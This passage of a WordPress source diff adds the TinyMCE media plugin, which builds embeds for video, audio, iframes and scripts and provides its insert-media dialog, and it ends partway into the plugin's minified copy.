+            setAttributes(attrs, {
+              poster: data.poster,
+              src: ''
+            });
+            if (data.source2) {
+              setAttributes(attrs, { src: '' });
+            }
+            break;
+          case 'iframe':
+            setAttributes(attrs, { src: data.source1 });
+            break;
+          case 'source':
+            sourceCount++;
+            if (sourceCount <= 2) {
+              setAttributes(attrs, {
+                src: data['source' + sourceCount],
+                type: data['source' + sourceCount + 'mime']
+              });
+              if (!data['source' + sourceCount]) {
+                return;
+              }
+            }
+            break;
+          case 'img':
+            if (!data.poster) {
+              return;
+            }
+            hasImage = true;
+            break;
+          }
+        }
+        writer.start(name, attrs, empty);
+      },
+      end: function (name) {
+        if (name === 'video' && updateAll) {
+          for (var index = 1; index <= 2; index++) {
+            if (data['source' + index]) {
+              var attrs = [];
+              attrs.map = {};
+              if (sourceCount < index) {
+                setAttributes(attrs, {
+                  src: data['source' + index],
+                  type: data['source' + index + 'mime']
+                });
+                writer.start('source', attrs, true);
+              }
+            }
+          }
+        }
+        if (data.poster && name === 'object' && updateAll && !hasImage) {
+          var imgAttrs = [];
+          imgAttrs.map = {};
+          setAttributes(imgAttrs, {
+            src: data.poster,
+            width: data.width,
+            height: data.height
+          });
+          writer.start('img', imgAttrs, true);
+        }
+        writer.end(name);
+      }
+    }, global$7({})).parse(html);
+    return writer.getContent();
+  };
+  var isEphoxEmbed$1 = function (html) {
+    var fragment = DOM$1.createFragment(html);
+    return DOM$1.getAttrib(fragment.firstChild, 'data-ephox-embed-iri') !== '';
+  };
+  var updateEphoxEmbed = function (html, data) {
+    var fragment = DOM$1.createFragment(html);
+    var div = fragment.firstChild;
+    $_jbvx7h8jjgwecnx.setMaxWidth(div, data.width);
+    $_jbvx7h8jjgwecnx.setMaxHeight(div, data.height);
+    return normalizeHtml(div.outerHTML);
+  };
+  var updateHtml = function (html, data, updateAll) {
+    return isEphoxEmbed$1(html) ? updateEphoxEmbed(html, data) : updateHtmlSax(html, data, updateAll);
+  };
+  var $_s3qkohdjjgwecon = { updateHtml: updateHtml };
+
+  var urlPatterns = [
+    {
+      regex: /youtu\.be\/([\w\-_\?&=.]+)/i,
+      type: 'iframe',
+      w: 560,
+      h: 314,
+      url: '//www.youtube.com/embed/$1',
+      allowFullscreen: true
+    },
+    {
+      regex: /youtube\.com(.+)v=([^&]+)(&([a-z0-9&=\-_]+))?/i,
+      type: 'iframe',
+      w: 560,
+      h: 314,
+      url: '//www.youtube.com/embed/$2?$4',
+      allowFullscreen: true
+    },
+    {
+      regex: /youtube.com\/embed\/([a-z0-9\?&=\-_]+)/i,
+      type: 'iframe',
+      w: 560,
+      h: 314,
+      url: '//www.youtube.com/embed/$1',
+      allowFullscreen: true
+    },
+    {
+      regex: /vimeo\.com\/([0-9]+)/,
+      type: 'iframe',
+      w: 425,
+      h: 350,
+      url: '//player.vimeo.com/video/$1?title=0&byline=0&portrait=0&color=8dc7dc',
+      allowFullscreen: true
+    },
+    {
+      regex: /vimeo\.com\/(.*)\/([0-9]+)/,
+      type: 'iframe',
+      w: 425,
+      h: 350,
+      url: '//player.vimeo.com/video/$2?title=0&amp;byline=0',
+      allowFullscreen: true
+    },
+    {
+      regex: /maps\.google\.([a-z]{2,3})\/maps\/(.+)msid=(.+)/,
+      type: 'iframe',
+      w: 425,
+      h: 350,
+      url: '//maps.google.com/maps/ms?msid=$2&output=embed"',
+      allowFullscreen: false
+    },
+    {
+      regex: /dailymotion\.com\/video\/([^_]+)/,
+      type: 'iframe',
+      w: 480,
+      h: 270,
+      url: '//www.dailymotion.com/embed/video/$1',
+      allowFullscreen: true
+    },
+    {
+      regex: /dai\.ly\/([^_]+)/,
+      type: 'iframe',
+      w: 480,
+      h: 270,
+      url: '//www.dailymotion.com/embed/video/$1',
+      allowFullscreen: true
+    }
+  ];
+  var getUrl = function (pattern, url) {
+    var match = pattern.regex.exec(url);
+    var newUrl = pattern.url;
+    var _loop_1 = function (i) {
+      newUrl = newUrl.replace('$' + i, function () {
+        return match[i] ? match[i] : '';
+      });
+    };
+    for (var i = 0; i < match.length; i++) {
+      _loop_1(i);
+    }
+    return newUrl.replace(/\?$/, '');
+  };
+  var matchPattern = function (url) {
+    var pattern = urlPatterns.filter(function (pattern) {
+      return pattern.regex.test(url);
+    });
+    if (pattern.length > 0) {
+      return global$2.extend({}, pattern[0], { url: getUrl(pattern[0], url) });
+    } else {
+      return null;
+    }
+  };
+
+  var getIframeHtml = function (data) {
+    var allowFullscreen = data.allowFullscreen ? ' allowFullscreen="1"' : '';
+    return '<iframe src="' + data.source1 + '" width="' + data.width + '" height="' + data.height + '"' + allowFullscreen + '></iframe>';
+  };
+  var getFlashHtml = function (data) {
+    var html = '<object data="' + data.source1 + '" width="' + data.width + '" height="' + data.height + '" type="application/x-shockwave-flash">';
+    if (data.poster) {
+      html += '<img src="' + data.poster + '" width="' + data.width + '" height="' + data.height + '" />';
+    }
+    html += '</object>';
+    return html;
+  };
+  var getAudioHtml = function (data, audioTemplateCallback) {
+    if (audioTemplateCallback) {
+      return audioTemplateCallback(data);
+    } else {
+      return '<audio controls="controls" src="' + data.source1 + '">' + (data.source2 ? '\n<source src="' + data.source2 + '"' + (data.source2mime ? ' type="' + data.source2mime + '"' : '') + ' />\n' : '') + '</audio>';
+    }
+  };
+  var getVideoHtml = function (data, videoTemplateCallback) {
+    if (videoTemplateCallback) {
+      return videoTemplateCallback(data);
+    } else {
+      return '<video width="' + data.width + '" height="' + data.height + '"' + (data.poster ? ' poster="' + data.poster + '"' : '') + ' controls="controls">\n' + '<source src="' + data.source1 + '"' + (data.source1mime ? ' type="' + data.source1mime + '"' : '') + ' />\n' + (data.source2 ? '<source src="' + data.source2 + '"' + (data.source2mime ? ' type="' + data.source2mime + '"' : '') + ' />\n' : '') + '</video>';
+    }
+  };
+  var getScriptHtml = function (data) {
+    return '<script src="' + data.source1 + '"></script>';
+  };
+  var dataToHtml = function (editor, dataIn) {
+    var data = global$2.extend({}, dataIn);
+    if (!data.source1) {
+      global$2.extend(data, $_6mep3hh4jjgwecnt.htmlToData($_69rpmgh3jjgwecnr.getScripts(editor), data.embed));
+      if (!data.source1) {
+        return '';
+      }
+    }
+    if (!data.source2) {
+      data.source2 = '';
+    }
+    if (!data.poster) {
+      data.poster = '';
+    }
+    data.source1 = editor.convertURL(data.source1, 'source');
+    data.source2 = editor.convertURL(data.source2, 'source');
+    data.source1mime = $_d9gn6bhcjjgwecol.guess(data.source1);
+    data.source2mime = $_d9gn6bhcjjgwecol.guess(data.source2);
+    data.poster = editor.convertURL(data.poster, 'poster');
+    var pattern = matchPattern(data.source1);
+    if (pattern) {
+      data.source1 = pattern.url;
+      data.type = pattern.type;
+      data.allowFullscreen = pattern.allowFullscreen;
+      data.width = data.width || pattern.w;
+      data.height = data.height || pattern.h;
+    }
+    if (data.embed) {
+      return $_s3qkohdjjgwecon.updateHtml(data.embed, data, true);
+    } else {
+      var videoScript = $_4q3fmh7jjgwecnw.getVideoScriptMatch($_69rpmgh3jjgwecnr.getScripts(editor), data.source1);
+      if (videoScript) {
+        data.type = 'script';
+        data.width = videoScript.width;
+        data.height = videoScript.height;
+      }
+      var audioTemplateCallback = $_69rpmgh3jjgwecnr.getAudioTemplateCallback(editor);
+      var videoTemplateCallback = $_69rpmgh3jjgwecnr.getVideoTemplateCallback(editor);
+      data.width = data.width || 300;
+      data.height = data.height || 150;
+      global$2.each(data, function (value, key) {
+        data[key] = editor.dom.encode(value);
+      });
+      if (data.type === 'iframe') {
+        return getIframeHtml(data);
+      } else if (data.source1mime === 'application/x-shockwave-flash') {
+        return getFlashHtml(data);
+      } else if (data.source1mime.indexOf('audio') !== -1) {
+        return getAudioHtml(data, audioTemplateCallback);
+      } else if (data.type === 'script') {
+        return getScriptHtml(data);
+      } else {
+        return getVideoHtml(data, videoTemplateCallback);
+      }
+    }
+  };
+  var $_bc7nlthbjjgwecoh = { dataToHtml: dataToHtml };
+
+  var cache = {};
+  var embedPromise = function (data, dataToHtml, handler) {
+    return new global$5(function (res, rej) {
+      var wrappedResolve = function (response) {
+        if (response.html) {
+          cache[data.source1] = response;
+        }
+        return res({
+          url: data.source1,
+          html: response.html ? response.html : dataToHtml(data)
+        });
+      };
+      if (cache[data.source1]) {
+        wrappedResolve(cache[data.source1]);
+      } else {
+        handler({ url: data.source1 }, wrappedResolve, rej);
+      }
+    });
+  };
+  var defaultPromise = function (data, dataToHtml) {
+    return new global$5(function (res) {
+      res({
+        html: dataToHtml(data),
+        url: data.source1
+      });
+    });
+  };
+  var loadedData = function (editor) {
+    return function (data) {
+      return $_bc7nlthbjjgwecoh.dataToHtml(editor, data);
+    };
+  };
+  var getEmbedHtml = function (editor, data) {
+    var embedHandler = $_69rpmgh3jjgwecnr.getUrlResolver(editor);
+    return embedHandler ? embedPromise(data, loadedData(editor), embedHandler) : defaultPromise(data, loadedData(editor));
+  };
+  var isCached = function (url) {
+    return cache.hasOwnProperty(url);
+  };
+  var $_cwvqyth9jjgweco9 = {
+    getEmbedHtml: getEmbedHtml,
+    isCached: isCached
+  };
+
+  var doSyncSize = function (widthCtrl, heightCtrl) {
+    widthCtrl.state.set('oldVal', widthCtrl.value());
+    heightCtrl.state.set('oldVal', heightCtrl.value());
+  };
+  var doSizeControls = function (win, f) {
+    var widthCtrl = win.find('#width')[0];
+    var heightCtrl = win.find('#height')[0];
+    var constrained = win.find('#constrain')[0];
+    if (widthCtrl && heightCtrl && constrained) {
+      f(widthCtrl, heightCtrl, constrained.checked());
+    }
+  };
+  var doUpdateSize = function (widthCtrl, heightCtrl, isContrained) {
+    var oldWidth = widthCtrl.state.get('oldVal');
+    var oldHeight = heightCtrl.state.get('oldVal');
+    var newWidth = widthCtrl.value();
+    var newHeight = heightCtrl.value();
+    if (isContrained && oldWidth && oldHeight && newWidth && newHeight) {
+      if (newWidth !== oldWidth) {
+        newHeight = Math.round(newWidth / oldWidth * newHeight);
+        if (!isNaN(newHeight)) {
+          heightCtrl.value(newHeight);
+        }
+      } else {
+        newWidth = Math.round(newHeight / oldHeight * newWidth);
+        if (!isNaN(newWidth)) {
+          widthCtrl.value(newWidth);
+        }
+      }
+    }
+    doSyncSize(widthCtrl, heightCtrl);
+  };
+  var syncSize = function (win) {
+    doSizeControls(win, doSyncSize);
+  };
+  var updateSize = function (win) {
+    doSizeControls(win, doUpdateSize);
+  };
+  var createUi = function (onChange) {
+    var recalcSize = function () {
+      onChange(function (win) {
+        updateSize(win);
+      });
+    };
+    return {
+      type: 'container',
+      label: 'Dimensions',
+      layout: 'flex',
+      align: 'center',
+      spacing: 5,
+      items: [
+        {
+          name: 'width',
+          type: 'textbox',
+          maxLength: 5,
+          size: 5,
+          onchange: recalcSize,
+          ariaLabel: 'Width'
+        },
+        {
+          type: 'label',
+          text: 'x'
+        },
+        {
+          name: 'height',
+          type: 'textbox',
+          maxLength: 5,
+          size: 5,
+          onchange: recalcSize,
+          ariaLabel: 'Height'
+        },
+        {
+          name: 'constrain',
+          type: 'checkbox',
+          checked: true,
+          text: 'Constrain proportions'
+        }
+      ]
+    };
+  };
+  var $_ewaahuhhjjgwecow = {
+    createUi: createUi,
+    syncSize: syncSize,
+    updateSize: updateSize
+  };
+
+  var embedChange = global$1.ie && global$1.ie <= 8 ? 'onChange' : 'onInput';
+  var handleError = function (editor) {
+    return function (error) {
+      var errorMessage = error && error.msg ? 'Media embed handler error: ' + error.msg : 'Media embed handler threw unknown error.';
+      editor.notificationManager.open({
+        type: 'error',
+        text: errorMessage
+      });
+    };
+  };
+  var getData = function (editor) {
+    var element = editor.selection.getNode();
+    var dataEmbed = element.getAttribute('data-ephox-embed-iri');
+    if (dataEmbed) {
+      return {
+        'source1': dataEmbed,
+        'data-ephox-embed-iri': dataEmbed,
+        'width': $_jbvx7h8jjgwecnx.getMaxWidth(element),
+        'height': $_jbvx7h8jjgwecnx.getMaxHeight(element)
+      };
+    }
+    return element.getAttribute('data-mce-object') ? $_6mep3hh4jjgwecnt.htmlToData($_69rpmgh3jjgwecnr.getScripts(editor), editor.serializer.serialize(element, { selection: true })) : {};
+  };
+  var getSource = function (editor) {
+    var elm = editor.selection.getNode();
+    if (elm.getAttribute('data-mce-object') || elm.getAttribute('data-ephox-embed-iri')) {
+      return editor.selection.getContent();
+    }
+  };
+  var addEmbedHtml = function (win, editor) {
+    return function (response) {
+      var html = response.html;
+      var embed = win.find('#embed')[0];
+      var data = global$2.extend($_6mep3hh4jjgwecnt.htmlToData($_69rpmgh3jjgwecnr.getScripts(editor), html), { source1: response.url });
+      win.fromJSON(data);
+      if (embed) {
+        embed.value(html);
+        $_ewaahuhhjjgwecow.updateSize(win);
+      }
+    };
+  };
+  var selectPlaceholder = function (editor, beforeObjects) {
+    var i;
+    var y;
+    var afterObjects = editor.dom.select('img[data-mce-object]');
+    for (i = 0; i < beforeObjects.length; i++) {
+      for (y = afterObjects.length - 1; y >= 0; y--) {
+        if (beforeObjects[i] === afterObjects[y]) {
+          afterObjects.splice(y, 1);
+        }
+      }
+    }
+    editor.selection.select(afterObjects[0]);
+  };
+  var handleInsert = function (editor, html) {
+    var beforeObjects = editor.dom.select('img[data-mce-object]');
+    editor.insertContent(html);
+    selectPlaceholder(editor, beforeObjects);
+    editor.nodeChanged();
+  };
+  var submitForm = function (win, editor) {
+    var data = win.toJSON();
+    data.embed = $_s3qkohdjjgwecon.updateHtml(data.embed, data);
+    if (data.embed && $_cwvqyth9jjgweco9.isCached(data.source1)) {
+      handleInsert(editor, data.embed);
+    } else {
+      $_cwvqyth9jjgweco9.getEmbedHtml(editor, data).then(function (response) {
+        handleInsert(editor, response.html);
+      }).catch(handleError(editor));
+    }
+  };
+  var populateMeta = function (win, meta) {
+    global$2.each(meta, function (value, key) {
+      win.find('#' + key).value(value);
+    });
+  };
+  var showDialog = function (editor) {
+    var win;
+    var data;
+    var generalFormItems = [{
+        name: 'source1',
+        type: 'filepicker',
+        filetype: 'media',
+        size: 40,
+        autofocus: true,
+        label: 'Source',
+        onpaste: function () {
+          setTimeout(function () {
+            $_cwvqyth9jjgweco9.getEmbedHtml(editor, win.toJSON()).then(addEmbedHtml(win, editor)).catch(handleError(editor));
+          }, 1);
+        },
+        onchange: function (e) {
+          $_cwvqyth9jjgweco9.getEmbedHtml(editor, win.toJSON()).then(addEmbedHtml(win, editor)).catch(handleError(editor));
+          populateMeta(win, e.meta);
+        },
+        onbeforecall: function (e) {
+          e.meta = win.toJSON();
+        }
+      }];
+    var advancedFormItems = [];
+    var reserialise = function (update) {
+      update(win);
+      data = win.toJSON();
+      win.find('#embed').value($_s3qkohdjjgwecon.updateHtml(data.embed, data));
+    };
+    if ($_69rpmgh3jjgwecnr.hasAltSource(editor)) {
+      advancedFormItems.push({
+        name: 'source2',
+        type: 'filepicker',
+        filetype: 'media',
+        size: 40,
+        label: 'Alternative source'
+      });
+    }
+    if ($_69rpmgh3jjgwecnr.hasPoster(editor)) {
+      advancedFormItems.push({
+        name: 'poster',
+        type: 'filepicker',
+        filetype: 'image',
+        size: 40,
+        label: 'Poster'
+      });
+    }
+    if ($_69rpmgh3jjgwecnr.hasDimensions(editor)) {
+      var control = $_ewaahuhhjjgwecow.createUi(reserialise);
+      generalFormItems.push(control);
+    }
+    data = getData(editor);
+    var embedTextBox = {
+      id: 'mcemediasource',
+      type: 'textbox',
+      flex: 1,
+      name: 'embed',
+      value: getSource(editor),
+      multiline: true,
+      rows: 5,
+      label: 'Source'
+    };
+    var updateValueOnChange = function () {
+      data = global$2.extend({}, $_6mep3hh4jjgwecnt.htmlToData($_69rpmgh3jjgwecnr.getScripts(editor), this.value()));
+      this.parent().parent().fromJSON(data);
+    };
+    embedTextBox[embedChange] = updateValueOnChange;
+    var body = [
+      {
+        title: 'General',
+        type: 'form',
+        items: generalFormItems
+      },
+      {
+        title: 'Embed',
+        type: 'container',
+        layout: 'flex',
+        direction: 'column',
+        align: 'stretch',
+        padding: 10,
+        spacing: 10,
+        items: [
+          {
+            type: 'label',
+            text: 'Paste your embed code below:',
+            forId: 'mcemediasource'
+          },
+          embedTextBox
+        ]
+      }
+    ];
+    if (advancedFormItems.length > 0) {
+      body.push({
+        title: 'Advanced',
+        type: 'form',
+        items: advancedFormItems
+      });
+    }
+    win = editor.windowManager.open({
+      title: 'Insert/edit media',
+      data: data,
+      bodyType: 'tabpanel',
+      body: body,
+      onSubmit: function () {
+        $_ewaahuhhjjgwecow.updateSize(win);
+        submitForm(win, editor);
+      }
+    });
+    $_ewaahuhhjjgwecow.syncSize(win);
+  };
+  var $_e3lvjbh0jjgwecnm = { showDialog: showDialog };
+
+  var get = function (editor) {
+    var showDialog = function () {
+      $_e3lvjbh0jjgwecnm.showDialog(editor);
+    };
+    return { showDialog: showDialog };
+  };
+  var $_9lh0mgzjjgwecnk = { get: get };
+
+  var register = function (editor) {
+    var showDialog = function () {
+      $_e3lvjbh0jjgwecnm.showDialog(editor);
+    };
+    editor.addCommand('mceMedia', showDialog);
+  };
+  var $_3pne6fhijjgwecoz = { register: register };
+
+  var global$8 = tinymce.util.Tools.resolve('tinymce.html.Node');
+
+  var sanitize = function (editor, html) {
+    if ($_69rpmgh3jjgwecnr.shouldFilterHtml(editor) === false) {
+      return html;
+    }
+    var writer = global$6();
+    var blocked;
+    global$3({
+      validate: false,
+      allow_conditional_comments: false,
+      special: 'script,noscript',
+      comment: function (text) {
+        writer.comment(text);
+      },
+      cdata: function (text) {
+        writer.cdata(text);
+      },
+      text: function (text, raw) {
+        writer.text(text, raw);
+      },
+      start: function (name, attrs, empty) {
+        blocked = true;
+        if (name === 'script' || name === 'noscript') {
+          return;
+        }
+        for (var i = 0; i < attrs.length; i++) {
+          if (attrs[i].name.indexOf('on') === 0) {
+            return;
+          }
+          if (attrs[i].name === 'style') {
+            attrs[i].value = editor.dom.serializeStyle(editor.dom.parseStyle(attrs[i].value), name);
+          }
+        }
+        writer.start(name, attrs, empty);
+        blocked = false;
+      },
+      end: function (name) {
+        if (blocked) {
+          return;
+        }
+        writer.end(name);
+      }
+    }, global$7({})).parse(html);
+    return writer.getContent();
+  };
+  var $_58i2qvhmjjgwecp7 = { sanitize: sanitize };
+
+  var createPlaceholderNode = function (editor, node) {
+    var placeHolder;
+    var name = node.name;
+    placeHolder = new global$8('img', 1);
+    placeHolder.shortEnded = true;
+    retainAttributesAndInnerHtml(editor, node, placeHolder);
+    placeHolder.attr({
+      'width': node.attr('width') || '300',
+      'height': node.attr('height') || (name === 'audio' ? '30' : '150'),
+      'style': node.attr('style'),
+      'src': global$1.transparentSrc,
+      'data-mce-object': name,
+      'class': 'mce-object mce-object-' + name
+    });
+    return placeHolder;
+  };
+  var createPreviewIframeNode = function (editor, node) {
+    var previewWrapper;
+    var previewNode;
+    var shimNode;
+    var name = node.name;
+    previewWrapper = new global$8('span', 1);
+    previewWrapper.attr({
+      'contentEditable': 'false',
+      'style': node.attr('style'),
+      'data-mce-object': name,
+      'class': 'mce-preview-object mce-object-' + name
+    });
+    retainAttributesAndInnerHtml(editor, node, previewWrapper);
+    previewNode = new global$8(name, 1);
+    previewNode.attr({
+      src: node.attr('src'),
+      allowfullscreen: node.attr('allowfullscreen'),
+      style: node.attr('style'),
+      class: node.attr('class'),
+      width: node.attr('width'),
+      height: node.attr('height'),
+      frameborder: '0'
+    });
+    shimNode = new global$8('span', 1);
+    shimNode.attr('class', 'mce-shim');
+    previewWrapper.append(previewNode);
+    previewWrapper.append(shimNode);
+    return previewWrapper;
+  };
+  var retainAttributesAndInnerHtml = function (editor, sourceNode, targetNode) {
+    var attrName;
+    var attrValue;
+    var attribs;
+    var ai;
+    var innerHtml;
+    attribs = sourceNode.attributes;
+    ai = attribs.length;
+    while (ai--) {
+      attrName = attribs[ai].name;
+      attrValue = attribs[ai].value;
+      if (attrName !== 'width' && attrName !== 'height' && attrName !== 'style') {
+        if (attrName === 'data' || attrName === 'src') {
+          attrValue = editor.convertURL(attrValue, attrName);
+        }
+        targetNode.attr('data-mce-p-' + attrName, attrValue);
+      }
+    }
+    innerHtml = sourceNode.firstChild && sourceNode.firstChild.value;
+    if (innerHtml) {
+      targetNode.attr('data-mce-html', escape($_58i2qvhmjjgwecp7.sanitize(editor, innerHtml)));
+      targetNode.firstChild = null;
+    }
+  };
+  var isWithinEphoxEmbed = function (node) {
+    while (node = node.parent) {
+      if (node.attr('data-ephox-embed-iri')) {
+        return true;
+      }
+    }
+    return false;
+  };
+  var placeHolderConverter = function (editor) {
+    return function (nodes) {
+      var i = nodes.length;
+      var node;
+      var videoScript;
+      while (i--) {
+        node = nodes[i];
+        if (!node.parent) {
+          continue;
+        }
+        if (node.parent.attr('data-mce-object')) {
+          continue;
+        }
+        if (node.name === 'script') {
+          videoScript = $_4q3fmh7jjgwecnw.getVideoScriptMatch($_69rpmgh3jjgwecnr.getScripts(editor), node.attr('src'));
+          if (!videoScript) {
+            continue;
+          }
+        }
+        if (videoScript) {
+          if (videoScript.width) {
+            node.attr('width', videoScript.width.toString());
+          }
+          if (videoScript.height) {
+            node.attr('height', videoScript.height.toString());
+          }
+        }
+        if (node.name === 'iframe' && $_69rpmgh3jjgwecnr.hasLiveEmbeds(editor) && global$1.ceFalse) {
+          if (!isWithinEphoxEmbed(node)) {
+            node.replace(createPreviewIframeNode(editor, node));
+          }
+        } else {
+          if (!isWithinEphoxEmbed(node)) {
+            node.replace(createPlaceholderNode(editor, node));
+          }
+        }
+      }
+    };
+  };
+  var $_ggjz3ehljjgwecp4 = {
+    createPreviewIframeNode: createPreviewIframeNode,
+    createPlaceholderNode: createPlaceholderNode,
+    placeHolderConverter: placeHolderConverter
+  };
+
+  var setup = function (editor) {
+    editor.on('preInit', function () {
+      var specialElements = editor.schema.getSpecialElements();
+      global$2.each('video audio iframe object'.split(' '), function (name) {
+        specialElements[name] = new RegExp('</' + name + '[^>]*>', 'gi');
+      });
+      var boolAttrs = editor.schema.getBoolAttrs();
+      global$2.each('webkitallowfullscreen mozallowfullscreen allowfullscreen'.split(' '), function (name) {
+        boolAttrs[name] = {};
+      });
+      editor.parser.addNodeFilter('iframe,video,audio,object,embed,script', $_ggjz3ehljjgwecp4.placeHolderConverter(editor));
+      editor.serializer.addAttributeFilter('data-mce-object', function (nodes, name) {
+        var i = nodes.length;
+        var node;
+        var realElm;
+        var ai;
+        var attribs;
+        var innerHtml;
+        var innerNode;
+        var realElmName;
+        var className;
+        while (i--) {
+          node = nodes[i];
+          if (!node.parent) {
+            continue;
+          }
+          realElmName = node.attr(name);
+          realElm = new global$8(realElmName, 1);
+          if (realElmName !== 'audio' && realElmName !== 'script') {
+            className = node.attr('class');
+            if (className && className.indexOf('mce-preview-object') !== -1) {
+              realElm.attr({
+                width: node.firstChild.attr('width'),
+                height: node.firstChild.attr('height')
+              });
+            } else {
+              realElm.attr({
+                width: node.attr('width'),
+                height: node.attr('height')
+              });
+            }
+          }
+          realElm.attr({ style: node.attr('style') });
+          attribs = node.attributes;
+          ai = attribs.length;
+          while (ai--) {
+            var attrName = attribs[ai].name;
+            if (attrName.indexOf('data-mce-p-') === 0) {
+              realElm.attr(attrName.substr(11), attribs[ai].value);
+            }
+          }
+          if (realElmName === 'script') {
+            realElm.attr('type', 'text/javascript');
+          }
+          innerHtml = node.attr('data-mce-html');
+          if (innerHtml) {
+            innerNode = new global$8('#text', 3);
+            innerNode.raw = true;
+            innerNode.value = $_58i2qvhmjjgwecp7.sanitize(editor, unescape(innerHtml));
+            realElm.append(innerNode);
+          }
+          node.replace(realElm);
+        }
+      });
+    });
+    editor.on('setContent', function () {
+      editor.$('span.mce-preview-object').each(function (index, elm) {
+        var $elm = editor.$(elm);
+        if ($elm.find('span.mce-shim', elm).length === 0) {
+          $elm.append('<span class="mce-shim"></span>');
+        }
+      });
+    });
+  };
+  var $_4o7ga9hjjjgwecp0 = { setup: setup };
+
+  var setup$1 = function (editor) {
+    editor.on('ResolveName', function (e) {
+      var name;
+      if (e.target.nodeType === 1 && (name = e.target.getAttribute('data-mce-object'))) {
+        e.name = name;
+      }
+    });
+  };
+  var $_1y6lb6hnjjgwecp9 = { setup: setup$1 };
+
+  var setup$2 = function (editor) {
+    editor.on('click keyup', function () {
+      var selectedNode = editor.selection.getNode();
+      if (selectedNode && editor.dom.hasClass(selectedNode, 'mce-preview-object')) {
+        if (editor.dom.getAttrib(selectedNode, 'data-mce-selected')) {
+          selectedNode.setAttribute('data-mce-selected', '2');
+        }
+      }
+    });
+    editor.on('ObjectSelected', function (e) {
+      var objectType = e.target.getAttribute('data-mce-object');
+      if (objectType === 'audio' || objectType === 'script') {
+        e.preventDefault();
+      }
+    });
+    editor.on('objectResized', function (e) {
+      var target = e.target;
+      var html;
+      if (target.getAttribute('data-mce-object')) {
+        html = target.getAttribute('data-mce-html');
+        if (html) {
+          html = unescape(html);
+          target.setAttribute('data-mce-html', escape($_s3qkohdjjgwecon.updateHtml(html, {
+            width: e.width,
+            height: e.height
+          })));
+        }
+      }
+    });
+  };
+  var $_dnm1d2hojjgwecpa = { setup: setup$2 };
+
+  var register$1 = function (editor) {
+    editor.addButton('media', {
+      tooltip: 'Insert/edit media',
+      cmd: 'mceMedia',
+      stateSelector: [
+        'img[data-mce-object]',
+        'span[data-mce-object]',
+        'div[data-ephox-embed-iri]'
+      ]
+    });
+    editor.addMenuItem('media', {
+      icon: 'media',
+      text: 'Media',
+      cmd: 'mceMedia',
+      context: 'insert',
+      prependToContext: true
+    });
+  };
+  var $_94c7u1hpjjgwecpc = { register: register$1 };
+
+  global.add('media', function (editor) {
+    $_3pne6fhijjgwecoz.register(editor);
+    $_94c7u1hpjjgwecpc.register(editor);
+    $_1y6lb6hnjjgwecp9.setup(editor);
+    $_4o7ga9hjjjgwecp0.setup(editor);
+    $_dnm1d2hojjgwecpa.setup(editor);
+    return $_9lh0mgzjjgwecnk.get(editor);
+  });
+  function Plugin () {
+  }
+
+  return Plugin;
+
+}());
+})();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/media/plugin.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/media/plugin.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/media/plugin.min.js	(revision 56912)
@@ -0,0 +1,1 @@
+!function(){"use strict";var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),o=tinymce.util.Tools.resolve("tinymce.Env"),v=tinymce.util.Tools.resolve("tinymce.util.Tools"),w=function(e){return e.getParam("media_scripts")},b=function(e){return e.getParam("audio_template_callback")},y=function(e){return e.getParam("video_template_callback")},n=function(e){return e.getParam("media_live_embeds",!0)},t=function(e){return e.getParam("media_filter_html",!0)},s=function(e){return e.getParam("media_url_resolver")},m=function(e){return e.getParam("media_alt_source",!0)},d=function(e){return e.getParam("media_poster",!0)},h=function(e){return e.getParam("media_dimensions",!0)},p=tinymce.util.Tools.resolve("tinymce.html.SaxParser"),r=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),x=function(e,t){if(e)for(var r=0;r<e.length;r++)if(-1!==t.indexOf(e[r].filter))return e[r]},i=function(t){return function(e){return e?e.style[t].replace(/px$/,""):""}},a=function(i){return function(e,t){var r;e&&(e.style[i]=/^[0-9.]+$/.test(r=t)?r+"px":r)}},f={getMaxWidth:i("maxWidth"),getMaxHeight:i("maxHeight"),setMaxWidth:a("maxWidth"),setMaxHeight:a("maxHeight")},u=r.DOM,l=function(e){return u.getAttrib(e,"data-ephox-embed-iri")},j=function(e,t){return c=t,s=u.createFragment(c),""!==l(s.firstChild)?(o=t,n=u.createFragment(o).firstChild,{type:"ephox-embed-iri",source1:l(n),source2:"",poster:"",width:f.getMaxWidth(n),height:f.getMaxHeight(n)}):(i=e,r=t,p({validate:(a={},!1),allow_conditional_comments:!0,special:"script,noscript",start:function(e,t){if(a.source1||"param"!==e||(a.source1=t.map.movie),"iframe"!==e&&"object"!==e&&"embed"!==e&&"video"!==e&&"audio"!==e||(a.type||(a.type=e),a=v.extend(t.map,a)),"script"===e){var r=x(i,t.map.src);if(!r)return;a={type:"script",source1:t.map.src,width:r.width,height:r.height}}"source"===e&&(a.source1?a.source2||(a.source2=t.map.src):a.source1=t.map.src),"img"!==e||a.poster||(a.poster=t.map.src)}}).parse(r),a.source1=a.source1||a.src||a.data,a.source2=a.source2||"",a.poster=a.poster||"",a);var i,r,a,o,n,c,s},g=tinymce.util.Tools.resolve("tinymce.util.Promise"),M=function(e){var t={mp3:"audio/mpeg",wav:"audio/wav",mp4:"video/mp4",webm:"video/webm",ogg:"video/ogg",swf:"application/x-shockwave-flash"}[e.toLowerCase().split(".").pop()];return t||""},_=tinymce.util.Tools.resolve("tinymce.html.Writer"),C=tinymce.util.Tools.resolve("tinymce.html.Schema"),S=r.DOM,F=function(e,t){var r,i,a,o;for(r in t)if(a=""+t[r],e.map[r])for(i=e.length;i--;)(o=e[i]).name===r&&(a?(e.map[r]=a,o.value=a):(delete e.map[r],e.splice(i,1)));else a&&(e.push({name:r,value:a}),e.map[r]=a)},k=function(e,t){var r,i,a=S.createFragment(e).firstChild;return f.setMaxWidth(a,t.width),f.setMaxHeight(a,t.height),r=a.outerHTML,i=_(),p(i).parse(r),i.getContent()},A=function(e,t,r){return 